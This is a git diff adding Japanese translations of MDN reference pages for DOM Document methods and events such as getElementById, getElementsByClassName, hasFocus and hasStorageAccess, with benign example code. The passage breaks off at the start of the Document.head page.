+ + diff --git a/files/ja/web/api/document/fullscreenerror_event/index.html b/files/ja/web/api/document/fullscreenerror_event/index.html new file mode 100644 index 0000000000..7459024c5d --- /dev/null +++ b/files/ja/web/api/document/fullscreenerror_event/index.html @@ -0,0 +1,81 @@ +--- +title: 'Document: fullscreenerror イベント' +slug: Web/API/Document/fullscreenerror_event +tags: + - API + - Error + - Event + - Fullscreen API + - Reference + - fullscreen + - fullscreenerror +translation_of: Web/API/Document/fullscreenerror_event +--- +

{{APIRef}}

+ +

fullscreenerror イベントは、ブラウザーが全画面モードに移行できないときに発生します。

+ + + + + + + + + + + + + + + + + + + + +
バブリングあり
キャンセル不可
インターフェイス{{domxref("Event")}}
イベントハンドラープロパティ{{domxref("Document.onfullscreenerror", "onfullscreenerror")}}
+ +

{{domxref("Document/fullscreenchange_event", "fullscreenchange")}} イベントと同様、二つの fullscreenerror イベントが発行されます。一つ目はモード切替に失敗した {{domxref("Element")}} へ送られ、二つ目はその要素を所有する {{domxref("Document")}} へ送られます。

+ +

全画面モードへの切り替えに失敗する理由については、全画面 API のガイドを参照してください。

+ +

例

+ +
const requestor = document.querySelector('div');
+
+document.addEventListener('fullscreenerror', (event) => {
+  console.error('an error occurred changing into fullscreen');
+  console.log(event);
+});
+
+requestor.requestFullscreen();
+ +

仕様書

+ + + + + + + + + + + + + + +
仕様書状態
{{SpecName("Fullscreen")}}{{Spec2("Fullscreen")}}
+ +

ブラウザーの互換性

+ +

{{Compat("api.Document.fullscreenerror_event")}}

+ +

関連情報

+ + diff --git a/files/ja/web/api/document/getanimations/index.html b/files/ja/web/api/document/getanimations/index.html new file mode 100644 index 0000000000..eeb45f404e --- /dev/null +++ b/files/ja/web/api/document/getanimations/index.html @@ -0,0 +1,81 @@ +--- +title: Document.getAnimations() +slug: Web/API/Document/getAnimations +tags: + - API + - Animation + - CSS + - CSS Animations + - CSS Transitions + - Document + - Experimental + - Method + - Reference + - Transitions + - Web Animations + - getAnimations + - waapi + - web animations api +translation_of: Web/API/DocumentOrShadowRoot/getAnimations +--- +

{{ SeeCompatTable() }}{{APIRef("Web Animations")}}

+ +

getAnimations() メソッドは {{domxref("Document")}} インターフェイスのメソッドで、この文書の配下にあるターゲット要素にあるすべての {{domxref("Animation")}} オブジェクトの配列を返します。この配列には CSS アニメーション, CSS トランジション, ウェブアニメーション が含まれます。

+ +

構文

+ +
var allAnimations = Document.getAnimations();
+
+ +

引数

+ +

なし。

+ +

返値

+ +

{{domxref("Animation")}} オブジェクトの {{jsxref("Array")}} で、それぞれの要素は呼び出された {{domxref("Document")}} の配下にある要素に現在関連付けられているアニメーション1つを表します。

+ +

例

+ +

次のコードスニペットは、ページ上のすべてのアニメーションの {{domxref("Animation.playbackRate")}} を半分にすることで速度をゆっくりにします。

+ +
document.getAnimations().forEach(
+  function (animation) {
+    animation.playbackRate *= .5;
+  }
+);
+ +

仕様書

+ + + + + + + + + + + + + + + + +
仕様書状態備考
{{SpecName('Web Animations', '#dom-documentorshadowroot-getanimations', 'document.getAnimations()' )}}{{Spec2('Web Animations')}}
+ +

ブラウザーの互換性

+ + + +

{{Compat("api.Document.getAnimations")}}

+ +

関連情報

+ + diff --git a/files/ja/web/api/document/getboxobjectfor/index.html b/files/ja/web/api/document/getboxobjectfor/index.html new file mode 100644 index 0000000000..523be69a52 --- /dev/null +++ b/files/ja/web/api/document/getboxobjectfor/index.html @@ -0,0 +1,49 @@ +--- +title: document.getBoxObjectFor +slug: Web/API/Document/getBoxObjectFor +tags: + - DOM + - Document + - Method + - Obsolete + - Reference + - メソッド +translation_of: Web/API/Document/getBoxObjectFor +--- +
{{ApiRef("DOM")}} {{obsolete_header}}
+ +

指定要素の boxObject (x 座標 / y 座標 / 幅 / 高さ) を返します。

+ +
メモ: このメソッドは廃止済です。代わりに {{domxref("element.getBoundingClientRect()")}} メソッドを使用してください。
+ +

構文

+ +
boxObject = document.getBoxObjectFor(element);
+
+ + + +

例

+ +
var myDiv = document.getElementById("myDiv"),
+    boxObj = document.getBoxObjectFor (myDiv);
+
+alert (
+  "x:" + boxObj.x +
+  ", y:" + boxObj.y +
+  ", Width:" + boxObj.width +
+  ", Height:" + boxObj.height
+);
+ +

メモ

+ +

このメソッドは nsIXULDocument.idl で定められました。

+ +

ブラウザーの対応

+ + + +

{{Compat("api.Document.getBoxObjectFor")}}

diff --git a/files/ja/web/api/document/getelementbyid/index.html b/files/ja/web/api/document/getelementbyid/index.html new file mode 100644 index 0000000000..3b41a7b1fa --- /dev/null +++ b/files/ja/web/api/document/getelementbyid/index.html @@ -0,0 +1,151 @@ +--- +title: Document.getElementById() +slug: Web/API/Document/getElementById +tags: + - API + - DOM + - Document + - Elements + - Method + - Reference + - Web + - getElementById + - id +translation_of: Web/API/Document/getElementById +--- +
{{ ApiRef("DOM") }}
+ +

{{domxref("Document")}} の getElementById() メソッドは、 {{domxref("Element.id", "id")}} プロパティが指定された文字列に一致する要素を表す {{domxref("Element")}} オブジェクトを返します。要素の ID は指定されていれば固有であることが求められているため、特定の要素にすばやくアクセスするには便利な方法です。

+ +

ID を持たない要素にアクセスする必要がある場合は、 {{domxref("Document.querySelector", "querySelector()")}} で何らかの{{Glossary("CSS selector", "セレクター")}}を使用して要素を検索することができます。

+ +

構文

+ +
var element = document.getElementById(id);
+
+ +

引数

+ +
+
id
+
探す要素の ID です。 ID は大文字と小文字の区別がある文字列で、文書内で固有です。指定された ID の要素は一つしかありません。
+
+ +

返値

+ +

指定された ID に一致する DOM 要素オブジェクトを記述した {{domxref("Element")}} オブジェクト、または文書内に一致する要素がなければ null です。

+ +

例

+ +

HTML

+ +
<html>
+<head>
+  <title>getElementById example</title>
+</head>
+<body>
+  <p id="para">Some text here</p>
+  <button onclick="changeColor('blue');">blue</button>
+  <button onclick="changeColor('red');">red</button>
+</body>
+</html>
+ +

JavaScript

+ +
function changeColor(newColor) {
+  var elem = document.getElementById('para');
+  elem.style.color = newColor;
+}
+ +

結果

+ +

{{ EmbedLiveSample('Example', 250, 100) }}

+ +

使用上のメモ

+ +

コードが機能するためには、メソッドの名前の中の "Id" は、大文字と小文字を正しく表記しなければなりません。 getElementByID() は自然に見えますが、妥当ではなく動作しません。

+ +

{{domxref("Document.querySelector()")}} や {{domxref("Document.querySelectorAll()")}} などの他の要素検索メソッドとは異なり、 getElementById() はグローバルの document オブジェクトに対してのみ利用可能であり、 DOM のすべての要素オブジェクトのメソッドとしては利用できません。 ID の値は文書全体を通して固有でなければならないため、機能の「ローカル」バージョンは必要ないのです。

+ +

例

+ +
<!doctype html>
+<html>
+<head>
+    <meta charset="UTF-8">
+    <title>Document</title>
+</head>
+<body>
+    <div id="parent-id">
+        <p>hello word1</p>
+        <p id="test1">hello word2</p>
+        <p>hello word3</p>
+        <p>hello word4</p>
+    </div>
+    <script>
+        var parentDOM = document.getElementById('parent-id');
+        var test1 = parentDOM.getElementById('test1');
+        //throw error
+        //Uncaught TypeError: parentDOM.getElementById is not a function
+    </script>
+</body>
+</html>
+ +

もし指定された id を持つ要素がなければ、この関数は null を返します。なお、 id 引数は大文字小文字の区別があるため、 document.getElementById("Main") は <div id="main"> 要素の代わりに null を返し、これは "M" と "m" がこのメソッドの目的では区別されるためです。

+ +

文書内にない要素 は getElementById() で検索されません。要素を作成し ID を割り当てたとき、 getElementById() でアクセスする前に {{domxref("Node.insertBefore()")}} またはそのたぐいのメソッドで、要素を文書ツリーに挿入しておく必要があります。

+ +
var element = document.createElement('div');
+element.id = 'testqq';
+var el = document.getElementById('testqq'); // el は null になります
+
+ +

HTML 以外の文書の場合。 DOM の実装では、どの属性が ID 類であるかを示す情報が必要です。 "id" という名前の属性は、文書の DTD で定義されていない限り ID 類とみなされません。 id 属性は XHTML, XUL などの一般的な場合には ID 類として定義されています。属性が ID 類であるかどうかが分からない実装では、 null を返すでしょう。

+ +

仕様書

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
仕様書状態備考
{{SpecName('DOM1','level-one-html.html#method-getElementById','getElementById')}}{{Spec2('DOM1')}}インターフェイスの初回定義
{{SpecName('DOM2 Core','core.html#ID-getElBId','getElementById')}}{{Spec2('DOM2 Core')}}DOM 1 の置き換え
{{SpecName('DOM3 Core','core.html#ID-getElBId','getElementById')}}{{Spec2('DOM3 Core')}}DOM 2 の置き換え
{{SpecName('DOM WHATWG','#dom-nonelementparentnode-getelementbyid','getElementById')}}{{Spec2('DOM WHATWG')}}DOM 3 を置き換える予定
+ +

ブラウザーの互換性

+ + + +

{{Compat("api.Document.getElementById")}}

+ +

関連情報

+ + diff --git a/files/ja/web/api/document/getelementsbyclassname/index.html b/files/ja/web/api/document/getelementsbyclassname/index.html new file mode 100644 index 0000000000..c6d15426ac --- /dev/null +++ b/files/ja/web/api/document/getelementsbyclassname/index.html @@ -0,0 +1,138 @@ +--- +title: Document.getElementsByClassName() +slug: Web/API/Document/getElementsByClassName +tags: + - API + - DOM + - DOM Element Methods + - Element + - HTML5 + - Method + - Reference + - メソッド +translation_of: Web/API/Document/getElementsByClassName +--- +
{{APIRef("DOM")}}
+ +

{{domxref("Document")}} インターフェイスの getElementsByClassName メソッドは、指定されたクラス名をすべて持つすべての子要素の配列風オブジェクトを返します。 {{domxref("document")}} オブジェクトに対して呼び出したときは、ルートノードを含む文書全体が検索されます。任意の要素に対して {{domxref("Element.getElementsByClassName", "getElementsByClassName()")}} を呼び出すこともできます。その場合は、指定されたルート要素下の指定されたクラス名を持つ要素だけを返します。

+ +

構文

+ +
var elements = document.getElementsByClassName(names); // または
+var elements = rootElement.getElementsByClassName(names);
+ + + +

例

+ +

'test' クラスを持つすべての要素を取得します。

+ +
document.getElementsByClassName('test')
+ +

'red' および 'test' クラスを両方持つすべての要素を取得します。

+ +
document.getElementsByClassName('red test')
+ +

'main' という ID を持った要素の中にある、 'text' クラスを持つすべての要素を取得します。

+ +
document.getElementById('main').getElementsByClassName('test')
+ +

'test' クラスを持つ最初の要素を取得し、一致する要素がなければ undefined になります。

+ +
document.getElementsByClassName('test')[0]
+ +

メソッドの this 値として {{domxref("HTMLCollection")}} を渡すことで、 Array プロトタイプのメソッドを HTMLCollection で使用することができます。ここでは、 'test' クラスを持つすべての div 要素を検索します。

+ +
var testElements = document.getElementsByClassName('test');
+var testDivs = Array.prototype.filter.call(testElements, function(testElement){
+  return testElement.nodeName === 'DIV';
+});
+ +

クラスが 'test' である最初の要素を取得する

+ +

これは最もよく使われる操作のメソッドです。

+ +
<html>
+<body>
+    <div id="parent-id">
+        <p>hello world 1</p>
+        <p class="test">hello world 2</p>
+        <p>hello world 3</p>
+        <p>hello world 4</p>
+    </div>
+
+    <script>
+        var parentDOM = document.getElementById("parent-id");
+
+        var test = parentDOM.getElementsByClassName("test"); // 一致する要素のリストであり、要素自身では*ない*
+        console.log(test); //HTMLCollection[1]
+
+        var testTarget = parentDOM.getElementsByClassName("test")[0]; // 求める最初の要素
+        console.log(testTarget); //<p class="test">hello world 2</p>
+    </script>
+</body>
+</html>
+ +

複数のクラスの例

+ +

document.getElementsByClassName は document.querySelector や document.querySelectorAll ととても似た動きをします。指定されたクラス名がすべてある要素のみが選択されます。

+ +

HTML

+ +
<span class="orange fruit">Orange Fruit</span>
+<span class="orange juice">Orange Juice</span>
+<span class="apple juice">Apple Juice</span>
+<span class="foo bar">Something Random</span>
+<textarea id="resultArea" style="width:98%;height:7em"></textarea>
+ +

JavaScript

+ +
// getElementsByClassName は指定された両方のクラスを持つ要素のみを選択する
+var allOrangeJuiceByClass = document.getElementsByClassName('orange juice');
+var result = "document.getElementsByClassName('orange juice')";
+for (var i=0, len=allOrangeJuiceByClass.length|0; i<len; i=i+1|0) {
+    result += "\n  " + allOrangeJuiceByClass[i].textContent;
+}
+
+
+// querySelector は完全一致で選択する
+var allOrangeJuiceQuery = document.querySelectorAll('.orange.juice');
+result += "\n\ndocument.querySelectorAll('.orange.juice')";
+for (var i=0, len=allOrangeJuiceQuery.length|0; i<len; i=i+1|0) {
+    result += "\n  " + allOrangeJuiceQuery[i].textContent;
+}
+
+document.getElementById("resultArea").value = result;
+ +

結果

+ +

{{EmbedLiveSample('Multiple_Classes_Example', '100%', 200)}}

+ +

仕様書

+ + + + + + + + + + + + + + + + +
仕様書状態備考
{{SpecName('DOM WHATWG', '#dom-document-getelementsbyclassname', 'document.getElementsByClassName')}}{{Spec2('DOM WHATWG')}}
+ +

ブラウザーの互換性

+ + + +

{{Compat("api.Document.getElementsByClassName")}}

diff --git a/files/ja/web/api/document/getelementsbyname/index.html b/files/ja/web/api/document/getelementsbyname/index.html new file mode 100644 index 0000000000..69a10b1b88 --- /dev/null +++ b/files/ja/web/api/document/getelementsbyname/index.html @@ -0,0 +1,99 @@ +--- +title: Document.getElementsByName() +slug: Web/API/Document/getElementsByName +tags: + - API + - DOM + - Document + - HTML + - Method + - Reference + - getElementByName + - メソッド +translation_of: Web/API/Document/getElementsByName +--- +
{{APIRef("DOM")}}
+ +

{{domxref("Document")}} オブジェクトの getElementsByName() メソッドは、文書内で指定した {{domxref("element.name","name")}} を持つ要素の {{domxref("NodeList")}} コレクションを返します。

+ +

構文

+ +
var elements = document.getElementsByName(name);
+
+ + + +

例

+ +
<!DOCTYPE html>
+<html lang="en">
+<title>document.getElementsByName の使用例</title>
+
+<input type="hidden" name="up">
+<input type="hidden" name="down">
+
+<script>
+  var up_names = document.getElementsByName("up");
+  console.log(up_names[0].tagName); // "INPUT" と表示
+</script>
+</html>
+
+ +

メモ

+ +

{{domxref("element.name","name")}} 属性は、(X)HTML 文書にのみ適用可能です。

+ +

返却された {{domxref("NodeList")}} コレクションには、 {{htmlelement("meta")}} や {{htmlelement("object")}} など、それに name 属性にまったく対応していない要素も含め、指定された name を持つすべての要素が含まれます。

+ +
+

getElementsByName メソッドは、 IE10 以前では動作が異なります。この場合、 getElementsByName() は指定された id 属性を持つ要素も返します。 name および id で同じ文字列を使用しないように注意してください。

+
+ +
+

getElementsByName メソッドは IE では動作が異なります。この場合、 getElementsByName() は name 属性を許容しない要素 (<span> など) を返しません。

+
+ +
+

IE および Edge では、 {{domxref("NodeList")}} ではなく {{domxref("HTMLCollection")}} を返します。

+
+ +

仕様書

+ + + + + + + + + + + + + + + + + + + + + +
仕様書状態備考
{{SpecName('HTML WHATWG', '#dom-document-getelementsbyname', "Document.getElementsByName()")}}{{ Spec2('HTML WHATWG') }} 
{{SpecName("DOM2 HTML", "html.html#ID-71555259", "Document.getElementsByName()")}}{{Spec2("DOM2 HTML")}}初回定義
+ +

ブラウザーの対応

+ + + +

{{Compat("api.Document.getElementsByName")}}

+ +

関連情報

+ + diff --git a/files/ja/web/api/document/getelementsbytagname/index.html b/files/ja/web/api/document/getelementsbytagname/index.html new file mode 100644 index 0000000000..b985b9564d --- /dev/null +++ b/files/ja/web/api/document/getelementsbytagname/index.html @@ -0,0 +1,128 @@ +--- +title: Document.getElementsByTagName() +slug: Web/API/Document/getElementsByTagName +tags: + - API + - DOM + - Method + - Reference +translation_of: Web/API/Document/getElementsByTagName +--- +
{{APIRef("DOM")}}
+ +

getElementsByTagName は {{domxref("Document")}} インターフェイスのメソッドで、指定されたタグ名を持つ要素の {{domxref("HTMLCollection")}} を返します。ルートノードを含めた文書全体が検索されます。返された HTMLCollection は生きたものであり、つまり document.getElementsByTagName() を再度呼び出さなくても DOM ツリーと同期を取り続けるよう、自動的に自分自身を更新します。.

+ +

構文

+ +
var elements = document.getElementsByTagName(name);
+ + + +
最新の W3C 仕様書 では elements は HTMLCollection です。しかし、 WebKit ブラウザーではこのメソッドは {{domxref("NodeList")}} を返します。詳しくは {{bug(14869)}} を見てください。
+ +

例

+ +

以下の例では、 getElementsByTagName() は特定の親要素から開始し、その親要素から DOM を上から下へ再帰的に検索し、タグが name パラメータと一致する子要素を探します。これは document.getElementsByTagName() と、機能的に同等な {{domxref("Element.getElementsByTagName()")}} は、 DOM ツリー内の特定の要素から検索を始めることを示します。

+ +

ボタンをクリックすると getElementsByTagName() を使用して、特定の親 (文書自体または2つの {{HTMLElement("div")}} 要素の何れかに囲まれたもの) の子孫の段落要素を数えます。

+ +
<!DOCTYPE html>
+<html lang="en">
+<head>
+  <meta charset="UTF-8" />
+  <title>getElementsByTagName example</title>
+  <script>
+    function getAllParaElems() {
+      var allParas = document.getElementsByTagName('p');
+      var num = allParas.length;
+      alert('この文書には ' + num + ' 個の段落があります');
+    }
+
+    function div1ParaElems() {
+      var div1 = document.getElementById('div1');
+      var div1Paras = div1.getElementsByTagName('p');
+      var num = div1Paras.length;
+      alert('#div1 には ' + num + ' 個の段落があります');
+    }
+
+    function div2ParaElems() {
+      var div2 = document.getElementById('div2');
+      var div2Paras = div2.getElementsByTagName('p');
+      var num = div2Paras.length;
+      alert('#div2 には' + num + ' 個の段落があります');
+    }
+  </script>
+</head>
+<body style="border: solid green 3px">
+  <p>Some outer text</p>
+  <p>Some outer text</p>
+
+  <div id="div1" style="border: solid blue 3px">
+    <p>Some div1 text</p>
+    <p>Some div1 text</p>
+    <p>Some div1 text</p>
+
+    <div id="div2" style="border: solid red 3px">
+      <p>Some div2 text</p>
+      <p>Some div2 text</p>
+    </div>
+  </div>
+
+  <p>Some outer text</p>
+  <p>Some outer text</p>
+
+  <button onclick="getAllParaElems();">
+    文書内のすべての p 要素を表示</button><br />
+
+  <button onclick="div1ParaElems();">
+    div1 要素内のすべての p 要素を表示</button><br />
+
+  <button onclick="div2ParaElems();">
+    div2 要素内のすべての p 要素を表示</button>
+
+</body>
+</html>
+
+ +

注

+ +

HTML 文書上で呼び出された場合、 getElementsByTagName() は処理前に引数を小文字に変換します。これは HTML 文書内のサブツリーにあるキャメルケースの SVG 要素に一致させようとする場合には望ましくありません。この場合は {{Domxref("document.getElementsByTagNameNS()")}} が便利です。 {{Bug(499656)}} を参照してください。

+ +

document.getElementsByTagName() は、検索が文書全体を含むという点以外は {{domxref("Element.getElementsByTagName()")}} と類似しています。

+ +

仕様書

+ + + + + + + + + + + + + + + + +
仕様書状態備考
{{SpecName('DOM WHATWG','#dom-document-getelementsbytagname','document.getElementsByTagName')}}{{Spec2('DOM WHATWG')}}
+ +

ブラウザーの互換性

+ + + +

{{Compat("api.Document.getElementsByTagName")}}

+ +

関連情報

+ + diff --git a/files/ja/web/api/document/getelementsbytagnamens/index.html b/files/ja/web/api/document/getelementsbytagnamens/index.html new file mode 100644 index 0000000000..99e4bab452 --- /dev/null +++ b/files/ja/web/api/document/getelementsbytagnamens/index.html @@ -0,0 +1,164 @@ +--- +title: Document.getElementsByTagNameNS() +slug: Web/API/Document/getElementsByTagNameNS +tags: + - API + - DOM + - Method + - NeedsMarkupWork + - NeedsSpecTable + - Reference + - getElementsByTagNameNS +translation_of: Web/API/Document/getElementsByTagNameNS +--- +
{{APIRef("DOM")}}
+ +

指定された名前空間の指定されたタグ名を持つ要素のリストを返します。ルートノードを含め、文書全体が検索されます。

+ +

構文

+ +
elements = document.getElementsByTagNameNS(namespace, name)
+
+ + + +

注: W3C の仕様書では elements は NodeList であるとされていますが、 Gecko および Internet Explorer ではこのメソッドは {{DOMxRef("HTMLCollection")}} を返します。 Opera は NodeList を返しますが、 namedItem メソッドを実装しているので、 HTMLCollection と同様になります。2012年1月時点で、 WebKit ブラウザーのみが純粋な NodeList の値を返します。詳しくは bug 14869 を参照してください。

+ +

注: 現在、このメソッドの引数は大文字と小文字を区別しますが、 Firefox 3.5 以前は大文字と小文字を区別していませんでした。詳しくは Firefox 3.6 の開発者リリースノートおよび {{domxref("Element.getElementsByTagNameNS")}} のブラウザーの互換性のメモをご覧ください。

+ +

例

+ +

以下の例では、 getElementsByTagNameNS は特定の親要素から始め、 DOM 内を親要素から再帰的に通して検索し、タグの name が引数に一致する子要素を検索します。

+ +

なお、 getElementsByTagName が呼び出されたノードが document ではない場合、実際には {{domxref("element.getElementsByTagNameNS")}} メソッドが使用されます。

+ +

以下の例を使用するには、新しいファイルにそのままコピー＆ペーストして、 .xhtml の拡張子で保存してください。

+ +
<html xmlns="http://www.w3.org/1999/xhtml">
+
+<head>
+<title>getElementsByTagNameNS example</title>
+
+<script type="text/javascript">
+
+function getAllParaElems()
+{
+  var allParas = document.getElementsByTagNameNS("http://www.w3.org/1999/xhtml", "p");
+
+  var num = allParas.length;
+
+  alert("There are " + num + " &lt;p&gt; elements in this document");
+}
+
+
+function div1ParaElems()
+{
+  var div1 = document.getElementById("div1")
+  var div1Paras = div1.getElementsByTagNameNS("http://www.w3.org/1999/xhtml", "p");
+
+  var num = div1Paras.length;
+
+  alert("There are " + num + " &lt;p&gt; elements in div1 element");
+}
+
+
+function div2ParaElems()
+{
+  var div2 = document.getElementById("div2")
+  var div2Paras = div2.getElementsByTagNameNS("http://www.w3.org/1999/xhtml", "p");
+
+  var num = div2Paras.length;
+
+  alert("There are " + num + " &lt;p&gt; elements in div2 element");
+}
+
+</script>
+</head>
+
+<body style="border: solid green 3px">
+<p>Some outer text</p>
+<p>Some outer text</p>
+
+  <div id="div1" style="border: solid blue 3px">
+    <p>Some div1 text</p>
+    <p>Some div1 text</p>
+    <p>Some div1 text</p>
+
+    <div id="div2" style="border: solid red 3px">
+    <p>Some div2 text</p>
+    <p>Some div2 text</p>
+    </div>
+  </div>
+
+<p>Some outer text</p>
+<p>Some outer text</p>
+
+<button onclick="getAllParaElems();">
+ show all p elements in document</button><br />
+
+<button onclick="div1ParaElems();">
+ show all p elements in div1 element</button><br />
+
+<button onclick="div2ParaElems();">
+ show all p elements in div2 element</button>
+
+</body>
+</html>
+
+ +

対応していないブラウザーでの代替方法

+ +

要求されたブラウザーが XPath に対応していない場合、他のアプローチ (DOM のすべての子要素をたどって、すべての @xmlns インスタンスで識別する、など) で要求された局所名および名前空間を持つすべてのタグを検索する必要がありますが、 XPath の方がはるかに高速です。 (Explorer に対応するためには、このラッパークラスのように、以下の関数で XPath の代わりに XPath のラッパーを呼び出すことができます (Explorer は異なる API を持つ XPath に対応しています)。

+ +
function getElementsByTagNameNSWrapper (ns, elName, doc, context) {
+ if (!doc) {
+  doc = document;
+ }
+ if (!context) {
+  context = doc;
+ }
+
+ var result = doc.evaluate('//*[local-name()="'+elName+'" and namespace-uri() = "'+ns+'"]', context, null, XPathResult.ORDERED_NODE_SNAPSHOT_TYPE, null);
+
+        var a = [];
+        for(var i = 0; i < result.snapshotLength; i++) {
+            a[i] = result.snapshotItem(i);
+        }
+        return a;
+}
+
+ +

仕様書

+ + + + + + + + + + + + + + + + +
仕様書状態備考
{{SpecName('DOM WHATWG', '#dom-document-getelementsbytagnamens', 'document.getElementsByTagNameNS')}}{{Spec2('DOM WHATWG')}}
+ +

ブラウザーの互換性

+ + + +

{{Compat("api.Document.getElementsByTagNameNS")}}

+ +

関連情報

+ + diff --git a/files/ja/web/api/document/getselection/index.html b/files/ja/web/api/document/getselection/index.html new file mode 100644 index 0000000000..b1c947ef61 --- /dev/null +++ b/files/ja/web/api/document/getselection/index.html @@ -0,0 +1,12 @@ +--- +title: document.getSelection +slug: Web/API/Document/getSelection +tags: + - DOM + - Document + - Reference + - Selection +translation_of: Web/API/DocumentOrShadowRoot/getSelection +--- +

DOM の getSelection() メソッドは、 {{domxref("Window")}} インタフェース及び {{domxref("Document")}} インタフェースで利用可能です。
+ 詳細については {{domxref("window.getSelection()")}} の頁を参照して下さい。

diff --git a/files/ja/web/api/document/gotpointercapture_event/index.html b/files/ja/web/api/document/gotpointercapture_event/index.html new file mode 100644 index 0000000000..d91c7a9026 --- /dev/null +++ b/files/ja/web/api/document/gotpointercapture_event/index.html @@ -0,0 +1,108 @@ +--- +title: 'Document: gotpointercapture イベント' +slug: Web/API/Document/gotpointercapture_event +tags: + - Document + - Event + - PointerEvent + - Reference + - Web + - gotpointercapture + - イベント + - ウェブ +translation_of: Web/API/Document/gotpointercapture_event +--- +
{{APIRef}}
+ +

gotpointercapture イベントは、要素が {{domxref("Element.setPointerCapture", "setPointerCapture()")}} を使用してポインターをキャプチャしたときに発生します。

+ + + + + + + + + + + + + + + + + + + + +
バブリングなし
キャンセル可能いいえ
インターフェイス{{domxref("PointerEvent")}}
イベントハンドラープロパティ{{domxref("GlobalEventHandlers/ongotpointercapture", "ongotpointercapture")}}
+ +

例

+ +

この例は <p> 要素を取得し、 gotpointercapture イベントを待ち受けします。 setPointerCapture() を pointerdown イベントの要素上で呼び出し、 gotpointercapture を発生させます。

+ +
const para = document.querySelector('p');
+
+document.addEventListener('gotpointercapture', () => {
+  console.log('I\'ve been captured!')
+});
+
+para.addEventListener('pointerdown', (event) => {
+  para.setPointerCapture(event.pointerId);
+});
+
+ +

同じ例ですが、 ongotpointercapture イベントハンドラーを使用して行います。

+ +
const para = document.querySelector('p');
+
+document.ongotpointercapture = () => {
+  console.log('I\'ve been captured!')
+};
+
+para.addEventListener('pointerdown', (event) => {
+  para.setPointerCapture(event.pointerId);
+});
+ +

仕様書

+ + + + + + + + + + + + + + +
仕様書状態
{{SpecName('Pointer Events', '#the-gotpointercapture-event')}}{{Spec2('Pointer Events')}}
+ +

ブラウザーの対応

+ + + +

{{Compat("api.Document.gotpointercapture_event")}}

+ +

関連情報

+ + diff --git a/files/ja/web/api/document/hasfocus/index.html b/files/ja/web/api/document/hasfocus/index.html new file mode 100644 index 0000000000..6ff543ee08 --- /dev/null +++ b/files/ja/web/api/document/hasfocus/index.html @@ -0,0 +1,95 @@ +--- +title: document.hasFocus() +slug: Web/API/Document/hasFocus +tags: + - API + - DOM + - Focus + - Method + - Reference + - フォーカス + - メソッド +translation_of: Web/API/Document/hasFocus +--- +
{{APIRef}}
+ +

hasFocus() は {{domxref("Document")}} インターフェイスのメソッドで、 {{jsxref("Boolean")}} の値を返し、文書または文書内の何れかの要素がフォーカスを持っているかどうかを示します。このメソッドは、文書内のアクティブな要素がフォーカスを持っているかどうかを特定するために使用することができます。

+ +
+

文書を見ている時、文書内でフォーカスを持つ要素は常にアクティブ要素ですが、アクティブ要素がフォーカスを持っているとは限りません。例えば、フォアグラウンドになっていないポップアップウィンドウ内のアクティブ要素はフォーカスを持ちません。

+
+ +

構文

+ +
var focused = document.hasFocus();
+ +

返値

+ +

文書内のアクティブ要素にフォーカスがない場合は false が、文書内のアクティブ要素にフォーカスがある場合は true が返ります。

+ +

例

+ +

この例は、文書がフォーカスを持っているかどうかを300ミリ秒ごとに検査します。 hasFocus() の機能をテストするために、ボタンを押して新しいウィンドウを開き、二つのページの間を切り替えてみてください。

+ +

HTML

+ +
<p id="log">Awaiting focus check.</p>
+<button onclick="openWindow()">Open a new window</button>
+ +

JavaScript

+ +
function checkPageFocus() {
+  let body = document.querySelector('body');
+  let log = document.getElementById('log');
+
+  if (document.hasFocus()) {
+    log.textContent = 'This document has the focus.';
+    body.style.background = '#fff';
+  }
+  else {
+    log.textContent = 'This document does not have the focus.';
+    body.style.background = '#ccc';
+  }
+}
+
+function openWindow() {
+  window.open('https://developer.mozilla.org/', 'MDN', 'width=640,height=320,left=150,top=150');
+}
+
+// Check page focus every 300 milliseconds
+setInterval(checkPageFocus, 300);
+ +

結果

+ +

{{EmbedLiveSample("Example")}}

+ +

仕様書

+ + + + + + + + + + + + + + + + +
仕様書状態備考
{{SpecName('HTML WHATWG', 'interaction.html#dom-document-hasfocus', 'Document.hasFocus()')}}{{Spec2('HTML WHATWG')}}初回定義
+ +

ブラウザーの対応

+ + + +

{{Compat("api.Document.hasFocus")}}

+ +

関連情報

+ + diff --git a/files/ja/web/api/document/hasstorageaccess/index.html b/files/ja/web/api/document/hasstorageaccess/index.html new file mode 100644 index 0000000000..c1be7b0324 --- /dev/null +++ b/files/ja/web/api/document/hasstorageaccess/index.html @@ -0,0 +1,57 @@ +--- +title: Document.hasStorageAccess() +slug: Web/API/Document/hasStorageAccess +tags: + - API + - DOM + - Document + - Reference + - Storage Access API + - hasStorageAccess + - メソッド +translation_of: Web/API/Document/hasStorageAccess +--- +
{{APIRef}}{{seecompattable}}
+ +

{{domxref("Document")}} インターフェイスの hasStorageAccess() メソッドは、文書がファーストパーティのストレージへのアクセス権を持っているかどうかを真偽値で解決する {{jsxref("Promise")}} を返します。

+ +

詳しくは Storage Access API を参照してください。

+ +

構文

+ +
var promise = document.hasStorageAccess();
+ +

引数

+ +

なし。

+ +

返値

+ +

文書がファーストパーティのストレージへのアクセス権を持っているかどうかを真偽値で解決する {{jsxref("Promise")}} です。

+ +

Promise が解決され、関数が最初に呼び出されたときにユーザージェスチャーイベントを処理していた場合、解決ハンドラーはユーザージェスチャーが処理されているかのように実行されるため、ユーザーによるアクティベーションを必要とする API を呼び出すことができます。

+ +

例

+ +
document.hasStorageAccess().then(hasAccess => {
+  if (hasAccess) {
+    // ストレージへのアクセスはすでに許可されています。
+  } else {
+    // ストレージへのアクセスはまだ許可されていません。
+    // requestStorageAccess() を呼び出す必要があります。
+  }
+});
+ +

仕様書

+ +

この API はまだ提案段階にあります。 — 標準化プロセスはまだ始まっていません。現在のところ、この API の詳細の仕様書は、アップルのブログ投稿の Introducing Storage Access API、および WHATWG HTML issue 3338 — Proposal: Storage Access API で見ることができます。

+ +

ブラウザーの互換性

+ + + +

{{Compat("api.Document.hasStorageAccess")}}

+ +

関連情報

+ +

Storage Access API

diff --git a/files/ja/web/api/document/head/index.html b/files/ja/web/api/document/head/index.html new file mode 100644 index 0000000000..1916b0964b --- /dev/null +++ b/files/ja/web/api/document/head/index.html @@ -0,0 +1,84 @@ +--- +title: Document.head +slug: Web/API/Document/head +tags: + - API + - Document + - HTML DOM + - Reference + - head +translation_of: Web/API/Document/head +--- +
{{APIRef("DOM")}}
+ +

{{domxref("Document")}} インターフェイスの head は読み取り専用のプロパティで、現在の文書の {{HTMLElement("head")}} 要素を返します。

+ +

構文

+ +
